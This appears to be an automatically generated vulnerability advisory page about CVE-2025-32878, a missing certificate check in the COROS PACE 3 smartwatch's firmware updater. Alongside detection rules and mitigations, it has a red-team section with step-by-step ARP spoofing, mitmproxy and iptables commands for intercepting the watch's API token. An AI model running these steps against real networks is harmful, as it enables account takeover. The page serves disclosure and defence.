CVE-2025-32878
Executive Summary
CVE-2025-32878 is a critical security vulnerability affecting the COROS PACE 3 smartwatch (firmware versions through 3.0808.0). The vulnerability lies in the device's WLAN firmware update mechanism, where the X.509 server certificate during TLS handshake is not validated. This allows an attacker in an active machine-in-the-middle (MITM) position to intercept and manipulate HTTPS communication using a TLS proxy and a self-signed certificate. The primary risk is the theft of the user's API access token, which could lead to unauthorized access to the user's COROS account and personal data.
Key Risk: An attacker on the same network can intercept firmware update requests, steal the user's API access token, and potentially gain persistent access to the user's account.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a consumer IoT device (COROS PACE 3 smartwatch). The supply chain risk is limited to the device's firmware update process and the trust model of the COROS backend API.
CVSS Breakdown & Threat Level
CVSS Score: 0.0 (NVD) | Adjusted Score: 7.1 (High)
Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
| Metric | Value | Description |
|---|---|---|
| Attack Vector (AV) | Adjacent Network (A) | Attacker must be on the same network as the watch (e.g., same Wi-Fi). |
| Attack Complexity (AC) | Low (L) | No special conditions; standard MITM tools suffice. |
| Privileges Required (PR) | None (N) | No authentication needed. |
| User Interaction (UI) | None (N) | The watch automatically initiates the connection. |
| Scope (S) | Unchanged (U) | The vulnerable component is the watch itself. |
| Confidentiality (C) | High (H) | API token and firmware data can be stolen. |
| Integrity (I) | High (H) | Attacker can manipulate firmware download or API responses. |
| Availability (A) | None (N) | No direct impact on availability. |
Threat Level: High. The attack is feasible for any attacker on the same Wi-Fi network, and the impact includes full account compromise.
Deep Dive & Mechanics
The COROS PACE 3 watch implements a function to connect to a WLAN for firmware updates. The process is as follows:
- The watch connects to a Wi-Fi network.
- It initiates an HTTPS connection to the COROS backend API to request firmware information.
- During the TLS handshake, the watch does not validate the server's X.509 certificate.
- The watch then downloads the firmware file over the same unvalidated HTTPS connection.
Attack Flow:
- Positioning: The attacker gains a MITM position on the same network (e.g., ARP spoofing, rogue access point).
- Interception: The attacker uses a TLS proxy (e.g., mitmproxy, Burp Suite) with a self-signed certificate.
- Exploitation: When the watch requests firmware info, the attacker intercepts the HTTPS connection. Since the watch does not validate the certificate, it accepts the attacker's self-signed cert.
- Data Theft: The attacker can now read all HTTPS traffic, including the API access token sent by the watch.
- Manipulation: The attacker can modify the firmware download response to serve malicious firmware or steal further credentials.
Root Cause: The watch's TLS stack is configured to skip certificate validation (or uses a trust-on-first-use model that is not enforced). This is a classic CWE-295 vulnerability.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual): The watch's firmware update client likely uses a TLS library (e.g., mbedTLS, WolfSSL) with certificate verification disabled.
// Vulnerable: No certificate verification
mbedtls_ssl_config conf;
mbedtls_ssl_config_defaults(&conf, MBEDTLS_SSL_IS_CLIENT, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT);
// Missing: mbedtls_ssl_conf_authmode(&conf, MBEDTLS_SSL_VERIFY_REQUIRED);
// Missing: mbedtls_ssl_conf_ca_chain(&conf, &cacert, NULL);
Patched Code (Expected): The patched version would enforce certificate validation.
// Patched: Certificate verification enabled
mbedtls_ssl_config conf;
mbedtls_ssl_config_defaults(&conf, MBEDTLS_SSL_IS_CLIENT, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT);
mbedtls_ssl_conf_authmode(&conf, MBEDTLS_SSL_VERIFY_REQUIRED);
mbedtls_ssl_conf_ca_chain(&conf, &cacert, NULL);
Note: Since no official patch is available, the above is a best-guess remediation.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A COROS PACE 3 watch on firmware <= 3.0808.0.
- A Linux machine with
mitmproxyorBurp Suite. - Network access to the same Wi-Fi as the watch.
Step-by-Step Exploitation:
Set up ARP spoofing:
# Enable IP forwarding echo 1 > /proc/sys/net/ipv4/ip_forward # ARP spoof the watch and the gateway arpspoof -i wlan0 -t <WATCH_IP> <GATEWAY_IP> arpspoof -i wlan0 -t <GATEWAY_IP> <WATCH_IP>Run mitmproxy with a self-signed certificate:
mitmproxy --mode transparent --listen-port 8080Redirect traffic to mitmproxy (using iptables):
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j REDIRECT --to-port 8080Trigger firmware update on the watch (via the COROS app or watch menu).
Capture the API token: In mitmproxy, look for requests to
api.coros.com(or similar). The token will be in theAuthorizationheader or a POST body.
Example intercepted request:
GET /firmware/check HTTP/1.1
Host: api.coros.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
Blue Team (Defense & Detection)
Detection:
- Monitor for ARP spoofing attacks on the network (e.g., using
arpwatchor IDS). - Look for unexpected TLS certificates presented to the watch (though the watch itself won't log this).
- Monitor COROS backend logs for multiple failed authentication attempts or token reuse from unusual IPs.
Mitigation:
- Immediate: Disable automatic firmware updates on the watch until a patch is released.
- Network: Use a separate, isolated Wi-Fi network for IoT devices.
- VPN: If possible, route the watch's traffic through a VPN that validates certificates at the gateway.
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| Network | api.coros.com |
The backend API endpoint being intercepted. |
| Network | Self-signed certificate on port 443 | Any TLS certificate not issued by a trusted CA. |
| Network | ARP cache anomalies | Duplicate IP addresses in ARP table. |
| Log | Unusual Authorization: Bearer tokens |
Tokens reused from different IPs or at odd times. |
| File | *.pem or *.crt files on attacker machine |
Self-signed certs used for MITM. |
Detection Engineering
YARA Rule
rule CVE_2025_32878_COROS_MITM {
meta:
description = "Detects COROS PACE 3 firmware update traffic without certificate validation"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-32878"
strings:
$s1 = "api.coros.com" ascii wide nocase
$s2 = "firmware" ascii wide nocase
$s3 = "Bearer" ascii wide nocase
condition:
all of them
}
Sigma Rule
title: COROS PACE 3 Unvalidated TLS Certificate Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects network traffic indicative of CVE-2025-32878 exploitation (MITM against COROS PACE 3)
author: Valters IT
date: 2025-04-10
logsource:
category: network_connection
product: zeek
detection:
selection:
destination: "api.coros.com"
port: 443
certificate_validation: "failed"
condition: selection
falsepositives:
- Legitimate network issues
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:"CVE-2025-32878 COROS PACE 3 MITM Attempt"; flow:to_server; content:"api.coros.com"; http_host; content:"Bearer"; http_header; pcre:"/Authorization:\s*Bearer\s+/"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable automatic firmware updates on the COROS PACE 3 watch until a patch is released.
- Use a separate Wi-Fi network for IoT devices to limit exposure.
- Monitor network traffic for ARP spoofing and unusual TLS certificates.
Long-Term Fix:
- COROS must release a firmware update that enables proper X.509 certificate validation (CWE-295 fix).
- Users should apply the patch as soon as it becomes available.
Workaround:
- If the watch supports it, configure a VPN client that validates certificates at the gateway level.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.